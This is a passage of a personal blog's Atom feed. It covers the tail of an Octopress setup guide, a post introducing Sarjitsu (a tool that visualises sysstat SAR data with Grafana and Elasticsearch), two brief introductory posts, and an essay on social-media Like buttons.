&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rake new_post[&quot;My first post&quot;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This would generate a new post and display a message like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;mkdir -p source/_posts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Creating new post: source/_posts/2016-06-12-my-first-post.markdown&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Edit that file and write up a post using markdown format.
Repeast steps in &lt;code&gt;Step 6&lt;/code&gt; to deploy.&lt;/p&gt;
&lt;h3 id=&quot;step-8-tweaks-quickstart&quot;&gt;Step 8: Tweaks quickstart&lt;/h3&gt;
&lt;p&gt;Some of these tips are well covered under &lt;a href=&quot;http://octopress.org/docs/blogging/&quot;&gt;Octopress’ blogging basics&lt;/a&gt;
and under &lt;a href=&quot;https://github.com/octopress/octopress#configuration&quot;&gt;octopress’ github README config section&lt;/a&gt;
but just pointing them out for quickstart references:&lt;/p&gt;
&lt;h4 id=&quot;configure-blog-name-and-other-basics&quot;&gt;Configure blog name and other basics&lt;/h4&gt;
&lt;p&gt;Open &lt;code&gt;_config.yml&lt;/code&gt; and edit the following:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;title:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;subtitle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;author:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;repeat steps from &lt;code&gt;Step 6&lt;/code&gt; to see changes live on your username.github.io&lt;/p&gt;
&lt;h4 id=&quot;linking-your-octopress-blog-with-social-networks&quot;&gt;Linking your octopress blog with social networks&lt;/h4&gt;
&lt;p&gt;Edit &lt;code&gt;_config.yml&lt;/code&gt; and edit the following (change your usernames accordingly):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Github:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;github_user: arcolife&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;github_repo_count: 5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Google Plus:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;googleplus_user: +ArchitSharma1337&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Twitter: (read more below under &lt;code&gt;Adding asides&lt;/code&gt; section on adding twitter feed)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;twitter_user: arcolife&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;+twitter_show_replies: false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;+twitter_follow_button: true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;+twitter_show_follower_count: false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;For facebook like on posts:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;facebook_like: true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;images-in-post&quot;&gt;Images in post&lt;/h4&gt;
&lt;p&gt;If you wanna insert images, add them under &lt;code&gt;source/images&lt;/code&gt; and you could either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Refer to their path either like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;![Sample image caption](https://raw.githubusercontent.com/username/username.github.io/master/images/sample.png)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace username with your github username, and &lt;code&gt;images/sample.png&lt;/code&gt; with whatever path your images are in,
under &lt;code&gt;source/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Or give a relative path like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;![Image caption](../images/sample.png)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The second option is hackish &amp;amp; works based on your directory structure.
&lt;a href=&quot;http://stackoverflow.com/a/17089293/1332401&quot;&gt;There are other ways of doing this as well&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;adding-asides-panel-contents&quot;&gt;Adding &lt;code&gt;asides&lt;/code&gt; (panel contents)&lt;/h4&gt;
&lt;p&gt;Edit &lt;code&gt;_config.yml&lt;/code&gt; as follows:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;blog_index_asides:  [custom/asides/about.html, asides/recent_posts.html, asides/github.html, asides/googleplus.html]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;post_asides:        [custom/asides/about.html, asides/recent_posts.html, asides/github.html,  asides/googleplus.html]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You could add your custom asides / make changes to layout from files under &lt;code&gt;source/_includes&lt;/code&gt; folder.
For example, to add your twitter feed, you’d wanna take a look &lt;a href=&quot;http://blog.jmac.org/2013-03-30-putting-twitter-back-into-octopress.html&quot;&gt;at this blog post&lt;/a&gt; which tells you how to add that and why it was removed as a default.&lt;/p&gt;
&lt;h4 id=&quot;google-analytics&quot;&gt;Google analytics&lt;/h4&gt;
&lt;p&gt;This is to track location/count of visitors to your website. Open &lt;code&gt;_config.yml&lt;/code&gt; and edit the following:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;google_analytics_tracking_id: &amp;lt;add your ID here&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’d need to have an account on &lt;a href=&quot;https://analytics.google.com/&quot;&gt;this google analytics website&lt;/a&gt;
to get an ID. There’s a limit on number of free IDs allotted to your google account. Check out
the T&amp;amp;Cs on their website.&lt;/p&gt;
&lt;h4 id=&quot;comments-in-blog-posts&quot;&gt;Comments in blog posts&lt;/h4&gt;
&lt;p&gt;If you wanna enable &lt;code&gt;Disqus&lt;/code&gt; based comments, you need to have an account on &lt;a href=&quot;https://www.disqus.com/admin/&quot;&gt;this disqus admin website&lt;/a&gt; and add the url &lt;code&gt;&amp;lt;username&amp;gt;.github.io&lt;/code&gt; under trusted domains on &lt;code&gt;https://&amp;lt;disqus admin username&amp;gt;.disqus.com/admin/settings/advanced/&lt;/code&gt; and you need to configure your &lt;code&gt;community&lt;/code&gt; name (which is nothing but a setting for your site) under &lt;code&gt;https://&amp;lt;disqus admin username&amp;gt;.disqus.com/admin/settings/general/&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&quot;adding-a-static-website-under-your-github-website&quot;&gt;Adding a static website under your github website&lt;/h4&gt;
&lt;p&gt;If you’d like to link up a static content (fully supporting it’s own html/css layout),
just add them under &lt;code&gt;source/&amp;lt;new_dir&amp;gt;/&lt;/code&gt; and you should be able to access that
under &lt;code&gt;username.github.io/&amp;lt;new_dir&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then, go ahead and edit &lt;code&gt;_config.yml&lt;/code&gt; and edit the following:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;disqus_short_name: arcolife&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;disqus_show_comment_count: true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;working-on-drafts-disabling-comments-and-adding-categories&quot;&gt;Working on drafts, disabling comments and adding categories&lt;/h4&gt;
&lt;p&gt;When you’re writing a blog post, change true/false or add categories
to your _posts/&lt;post&gt;.md as shown below:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;comments: true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;published: true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;categories: [RHEL, Linux, Microservices]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A push to github with &lt;code&gt;published: false&lt;/code&gt; means the markdown has been safely
committed to source branch on your repo, but the post is not publicly visible.
This way you could keep working on the file and change to true when it’s ready.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;All that said, I still haven’t added an ‘about’ section to my post,
or moved it under a custom &lt;code&gt;blog/&lt;/code&gt; folder successfully. Or changed the
default page to something else or made changes to default theme.
If you’ve done that, please add a comment here on how you did it
or a link to it if you’ve blogged about it. Would save me some time eh! :)&lt;/p&gt;
&lt;p&gt;Thats it for now folks!&lt;/p&gt;
&lt;p&gt;Share it across, post a comment if you’d like to add something
to this post, or want any edits made or found a flaw in the flow
or would simply like to let me know if this helped.&lt;/p&gt;
&lt;p&gt;Cheers!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Sarjitsu: A project on visualizing system's activity</title>
    <link href="https://arcolife.in/blog/2016/06/06/sarjitsu-a-project-on-visualizing-your-systems-activity/"/>
    <id>https://arcolife.in/blog/2016/06/06/sarjitsu-a-project-on-visualizing-your-systems-activity/</id>
    <published>2016-06-06T00:20:34.000Z</published>
    <updated>2016-06-06T00:20:34.000Z</updated>
    <category term="RHEL"/>
    <category term="Linux"/>
    <category term="Performance"/>
    <category term="Visualization"/>
    <category term="Web App"/>
    <category term="Containers"/>
    <category term="Docker"/>
    <category term="Microservices"/>
    <summary>1. What is it about? Sarjitsu, or, SAR Jitsu, is a one stop shop for people who're looking to visualize their system data, based on System Activity Report (SAR) data generated by Sysstat. Screenshots from the app are…</summary>
    <content type="html">&lt;h3 id=&quot;1-what-is-it-about&quot;&gt;1. What is it about?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sarjitsu&lt;/strong&gt;, or, SAR Jitsu, is a one stop shop for people who’re looking to visualize their system data, based on &lt;a href=&quot;http://sebastien.godard.pagesperso-orange.fr/matrix.html&quot;&gt;System Activity Report (SAR) data generated by Sysstat&lt;/a&gt;. Screenshots from the app are near the end of this post.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h4 id=&quot;1a-how-do-i-get-cracking-on-the-source&quot;&gt;1.a. How do I get cracking on the source?&lt;/h4&gt;
&lt;p&gt;It has been &lt;a href=&quot;http://github.com/distributed-system-analysis/sarjitsu&quot;&gt;open sourced under Distributed System Analysis&lt;/a&gt; efforts. Take a look!&lt;/p&gt;
&lt;h3 id=&quot;2-what-does-it-offer&quot;&gt;2. What does it offer?&lt;/h3&gt;
&lt;p&gt;It includes throwing &lt;a href=&quot;http://sebastien.godard.pagesperso-orange.fr/man_sadc.html&quot;&gt;SA binary&lt;/a&gt; files at an instance of sarjitsu’s web app and extracting the following valuable information out of it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nodename of the machine whose data is contained within the binary&lt;/li&gt;
&lt;li&gt;Time range of the data collected&lt;/li&gt;
&lt;li&gt;Extraction of the time series data and visualization in a feature rich dashboard using &lt;a href=&quot;http://grafana.org/features/&quot;&gt;Grafana&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Graphing of the following parameters:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/options.png&quot; alt=&quot;Figure 1&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;3-how-is-it-different-from-live-monitoring-&quot;&gt;3. How is it different from live monitoring ?&lt;/h3&gt;
&lt;p&gt;Sometimes issues can’t just be detected out of live monitoring and we might need to use historical data. For live monitoring, already tools like &lt;a href=&quot;https://collectd.org/&quot;&gt;collectd&lt;/a&gt; exist. If you’ve got your data stored in form of SA binary file, Sarjitsu can visualize it.&lt;/p&gt;
&lt;p&gt;Sarjitsu would enable you to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Debug issues with your machine by presenting time series data collected on a minute’s granularity level. This is entirely configurable through the  &lt;a href=&quot;http://sebastien.godard.pagesperso-orange.fr/matrix.html&quot;&gt;SAR setup&lt;/a&gt; that your system has.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Figure out where the bottleneck lies by presenting all the information under a common y-axis and correlate results&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Visualize pbench results (additional feature). It comes with a command line tool which you could point to results dir of a &lt;a href=&quot;http://github.com/distributed-system-analysis/pbench/&quot;&gt;pbench run&lt;/a&gt; and it will find all the &lt;code&gt;sar.data&lt;/code&gt; files and visualize them.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;4-ok-tell-me-more-about&quot;&gt;4. Ok. Tell me more about..&lt;/h3&gt;
&lt;p&gt;It is built in a manner so that it could scale up real fast, because of it’s ease of use and also because it is based on Docker containers, around which a whole ecosystem exists on scaling up. If you’re willing to use this in production, send us a holler and we’ll get back to you.  (Refer to the section at the end.)&lt;/p&gt;
&lt;h4 id=&quot;4a-software-stack&quot;&gt;4.a. Software Stack&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Docker containers&lt;/li&gt;
&lt;li&gt;Python-Flask + uWSGI&lt;/li&gt;
&lt;li&gt;Nginx&lt;/li&gt;
&lt;li&gt;PostgreSQL&lt;/li&gt;
&lt;li&gt;Redis&lt;/li&gt;
&lt;li&gt;ElasticSearch&lt;/li&gt;
&lt;li&gt;Grafana&lt;/li&gt;
&lt;li&gt;Twitter Bootstrap&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;4b-architecture&quot;&gt;4.b. Architecture&lt;/h4&gt;
&lt;p&gt;The project is divided into 5 components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grafana for visualizations&lt;/li&gt;
&lt;li&gt;Postgres (used for storing Grafana’s dashboards)&lt;/li&gt;
&lt;li&gt;Elasticsearch (used as a data source)&lt;/li&gt;
&lt;li&gt;API Engine in Python-Flask&lt;/li&gt;
&lt;li&gt;Web Server in Python-Flask (previously written in NodeJS)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/sarjitsu_architecture.png&quot; alt=&quot;Figure 2&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;5-project-status&quot;&gt;5. Project Status&lt;/h3&gt;
&lt;p&gt;The project development status is still in alpha mode, since there have been
a lot of drastic changes over the past year. In fact, I’m still waiting for a few to be included in core of grafana’s code
(&lt;a href=&quot;https://github.com/grafana/grafana/pull/4694&quot;&gt;PR #4694&lt;/a&gt; that I’ve submitted). In fact, earlier last year, I had released an &lt;a href=&quot;http://github.com/distributed-system-analysis/es-graphite-shim&quot;&gt;elasticsearch-graphite shim of sorts&lt;/a&gt;, that made it possible for data to be sourced from ES into Grafana. Later on though, the native support was included and I had to move on. (Yeah it was difficult to let go of the python-django project!).&lt;/p&gt;
&lt;p&gt;The usage of nested documents within grafana, sourced from elasticsearch, depends on presence of this feature (PR #4694). Of course though, if someone is willing to make a &lt;a href=&quot;https://copr.fedorainfracloud.org/&quot;&gt;Fedora Copr&lt;/a&gt; based custom packaging out of this
project, I’d be really really glad and might even invite you to my annual Great Gatsby themed party.&lt;/p&gt;
&lt;p&gt;Once again, checkout the project at &lt;a href=&quot;http://github.com/distributed-system-analysis/sarjitsu&quot;&gt;DSA&lt;/a&gt; and please contribute! :)&lt;/p&gt;
&lt;h4 id=&quot;5a-upcoming-features&quot;&gt;5.a. Upcoming features&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Statistics about top N devices. Example: CPUs, Disks or Network devices.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Options to integrate this with hybrid cloud ecosystem.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Service Discovery for individual components.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Of course it’s only as good as you make it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So more on this later. Feel free to open a feature request on github and maybe even send a PR!&lt;/p&gt;
&lt;h3 id=&quot;6-contributions&quot;&gt;6. Contributions&lt;/h3&gt;
&lt;p&gt;I’ve opened a list of issues and labelled them accordingly on &lt;a href=&quot;https://github.com/distributed-system-analysis/sarjitsu/issues&quot;&gt;this Github issues list for Sarjitsu&lt;/a&gt;. Feel free to start a discussion under a github issue’s comments section, or submit a Pull Request for it. Cheers and happy debugging!&lt;/p&gt;
&lt;p&gt;We hangout on #pbench under FreeNode on IRC. Feel free to ping me there or tweet about it (I’m @arcolife).&lt;/p&gt;
&lt;h3 id=&quot;7-screenshots-from-app&quot;&gt;7. Screenshots from app&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Landing Page&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/landing.png&quot; alt=&quot;Figure 3&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Results Page&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/results.png&quot; alt=&quot;Figure 4&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Commandline uploader sample&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/vizit.png&quot; alt=&quot;Cmdline based uploader - vizit&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grafana Dashboard&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/dashboard.png&quot; alt=&quot;Figure 5&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grafana Visualization example&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz1.png&quot; alt=&quot;Viz 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz2.png&quot; alt=&quot;Viz 2&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz3.png&quot; alt=&quot;Viz 3&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz4.png&quot; alt=&quot;Viz 4&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz5.png&quot; alt=&quot;Viz 5&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz6.png&quot; alt=&quot;Viz 6&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz7.png&quot; alt=&quot;Viz 7&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz8.png&quot; alt=&quot;Viz 8&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This one is a demo of the upcoming nested docs feature..
refer to Grafana’s &lt;a href=&quot;https://github.com/grafana/grafana/pull/4694&quot;&gt;PR #4694&lt;/a&gt; for more:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/sarjitsu/viz9.png&quot; alt=&quot;Viz 9&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;8-last-but-not-the-least&quot;&gt;8. Last but not the least&lt;/h4&gt;
&lt;p&gt;If you think there is a significant improvement possible to the architecture of this project, or a potential collaboration opportunity with one of your own projects, contact us right now and we could take this further. Refer to &lt;a href=&quot;http://work.arcolife.in/intro&quot;&gt;this page&lt;/a&gt; on more info about contacting me or say hello on #pbench under &lt;a href=&quot;https://freenode.net/&quot;&gt;FreeNode&lt;/a&gt; on IRC.&lt;/p&gt;
&lt;p&gt;With Love,&lt;/p&gt;
&lt;p&gt;- &lt;a href=&quot;http://github.com/distributed-system-analysis/&quot;&gt;Team DSA&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>New work blog!</title>
    <link href="https://arcolife.in/blog/2016/06/06/new-work-blog/"/>
    <id>https://arcolife.in/blog/2016/06/06/new-work-blog/</id>
    <published>2016-06-05T23:14:56.000Z</published>
    <updated>2016-06-05T23:14:56.000Z</updated>
    <category term="random"/>
    <summary>Check it out I wish to blog work related stuff on this new octopress based blog. It’s really cool, markdown and stuff.</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;&lt;a href=&quot;http://arcolife.github.io/&quot; target=&quot;_blank&quot;&gt;Check it out &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I wish to blog work related stuff on this new octopress based blog. It&amp;#8217;s really cool, markdown and stuff.&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>First Post</title>
    <link href="https://arcolife.in/blog/2016/06/06/first-post/"/>
    <id>https://arcolife.in/blog/2016/06/06/first-post/</id>
    <published>2016-06-05T22:57:15.000Z</published>
    <updated>2016-06-05T22:57:15.000Z</updated>

    <summary>A test post =========== My intro page has now been moved to /intro I've noted down a list of posts I've been waiting to blog about, for a long time now.. Finally I've got something better than free version of wordpress…</summary>
    <content type="html">&lt;h1 id=&quot;a-test-post&quot;&gt;A test post&lt;/h1&gt;
&lt;p&gt;My intro page has now been moved to &lt;a href=&quot;http://arcolife.github.io/intro&quot;&gt;/intro&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’ve noted down a list of posts I’ve been waiting to blog about, for a long time now.. Finally I’ve got something better than free version of wordpress to try this out. My older blog was &lt;a href=&quot;http://blog.arcolife.in/&quot;&gt;Arcolife’s Digital Sweat&lt;/a&gt; and is still active. This one’s a pure work related blog, or atleast, I plan to keep it so, for now.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>On the bulk of digital reactions: the Like buttons!</title>
    <link href="https://arcolife.in/blog/2016/03/26/on-the-bulk-of-digital-reactions-the-like-buttons/"/>
    <id>https://arcolife.in/blog/2016/03/26/on-the-bulk-of-digital-reactions-the-like-buttons/</id>
    <published>2016-03-25T19:09:43.000Z</published>
    <updated>2016-03-25T19:09:43.000Z</updated>
    <category term="Artificial Intelligence"/>
    <category term="philosophy"/>
    <category term="random"/>
    <category term="social media"/>
    <summary>Foreword: It’s not as if I had nothing better to do at the moment. But this thought just struck me and I wanted to record it somewhere. Do read and react, if you want to. I can almost hear sarcasm floating around: “I…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;&lt;em&gt;Foreword:&lt;/em&gt; It&amp;#8217;s not as if I had nothing better to do at the moment. But this thought just struck me and I wanted to record it somewhere. Do read and react, if you want to. I can almost hear sarcasm floating around: &amp;#8220;I bet you&amp;#8217;re fun at parties&amp;#8221;.&lt;/p&gt;
&lt;p&gt;..&lt;/p&gt;
&lt;p&gt;Like buttons are acknowledgments alright. But what use could they be of, if one is not able to smile/reply back to every individual ack? Do the numbers&amp;#8221;50 favorites / 50,000 likes&amp;#8221; really matter a lot? This thought is important if you ask me, since these reactions really have coaxed a lot of people around the world into doing crazy stuff, just for the likes. Guilty as charged, myself!&lt;/p&gt;
&lt;p&gt;For example, if I upload a pic and get 50 likes, I would &amp;#8220;know&amp;#8221; that those people have seen it, thus giving me a sense of &lt;em&gt;being around and appreciated by&lt;/em&gt; those 50 people while I had performed a stunt, or posed for a groupfie or merely clicked a duckface. Thence, explaining one of the reasons for the existence of these online social networks.&lt;/p&gt;
&lt;p&gt;So, I could quickly jot down a few motives behind (or products of) this design element:&lt;/p&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align:left;&quot;&gt;A psychological experiment (some kind of modified version of Big5?) ..by those social media companies, so to speak, analyze a human behavior? Like the latest reactions addition to Facebook.&lt;/li&gt;
&lt;li style=&quot;text-align:left;&quot;&gt;Claim to fame/popularity, as in, for the celebrity profiles?&lt;/li&gt;
&lt;li style=&quot;text-align:left;&quot;&gt;Somehow putting this feature as an input for various social recommendation algorithms?&lt;/li&gt;
&lt;li style=&quot;text-align:left;&quot;&gt;If anything else, it just adds to a sense of social acceptance, a moral fulfillment by the person rooting for likes, and a sense of expressing an emotion towards the person rooting (or not rooting?) for those likes.&lt;/li&gt;
&lt;li style=&quot;text-align:left;&quot;&gt;A way to intimate the person who is generating that content, a feeling, that their posts aren&amp;#8217;t just being uploaded to a big void. That they are being seen, observed (or judged?). Sometimes a comment isn&amp;#8217;t really needed. A comment like &amp;#8220;haha/lol&amp;#8221; could perhaps be replaced by a &amp;#8220;reaction&amp;#8221;, thus saving the data mining algorithms some effort of filtering stop words? or save the storage from those gazillions of hahas/lols nuking the servers?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A personal observation: Indians (myself, being one of them) get more likes on their content, in general, as compared to most of my really well doing friends from abroad. Population maybe? Or innate behavioral aspect?&lt;/p&gt;
